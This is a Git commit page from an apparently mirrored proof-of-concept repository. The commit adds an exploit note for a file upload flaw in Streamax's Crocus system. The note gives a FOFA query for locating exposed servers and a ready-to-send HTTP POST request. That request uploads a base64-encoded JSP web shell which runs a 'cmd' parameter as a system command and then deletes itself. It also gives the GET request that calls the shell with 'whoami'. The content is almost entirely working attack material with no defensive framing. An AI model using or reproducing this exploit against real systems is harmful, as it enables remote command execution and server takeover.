admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-11-04 18:06:34 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update and rename 深圳市锐明技术股份有限公司Crocus系统imageupload文件上传.md to 深圳市锐明技术股份有限公司Crocus系统RepairRecord.do文件上传.md

Browse Source
This commit is contained in:
Rainyseason 2025-09-01 16:26:29 +08:00 committed by GitHub
parent 56d85b1064
commit 2ec4e0acd7
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
2 changed files with 31 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

31
wpoc/深圳市锐明技术股份有限公司/深圳市锐明技术股份有限公司Crocus系统RepairRecord.do文件上传.md Normal file
View File

@ -0,0 +1,31 @@
# 深圳市锐明技术股份有限公司Crocus系统RepairRecord.do文件上传
## fofa
```
body="/ThirdResource/respond/respond.min.js" && title="Crocus"
```
## poc
```javascript
POST /RepairRecord.do?Action=imageupload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
{
"username": "streamax20020818",
"license": "1",
"chnnel": 1,
"type": 1,
"imsage": "PCUgamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKS5nZXRJbnB1dFN0cmVhbSgpO2ludCBhID0gLTE7Ynl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4XTtvdXQucHJpbnQoIjxwcmU+Iik7d2hpbGUoKGE9aW4ucmVhZChiKSkhPS0xKXtvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIsMCxhKSk7fW91dC5wcmludCgiPC9wcmU+Iik7bmV3IGphdmEuaW8uRmlsZShhcHBsaWNhdGlvbi5nZXRSZWFsUGF0aChyZXF1ZXN0LmdldFNlcnZsZXRQYXRoKCkpKS5kZWxldGUoKTslPg==",
"picturename": "a.jsp"
}
```
访问地址
```
GET /SystemFile/PictureRecord/imageupload/a.jsp?cmd=whoami HTTP/1.1
Host:
```

1
wpoc/深圳市锐明技术股份有限公司/深圳市锐明技术股份有限公司Crocus系统imageupload文件上传.md
View File

@ -1 +0,0 @@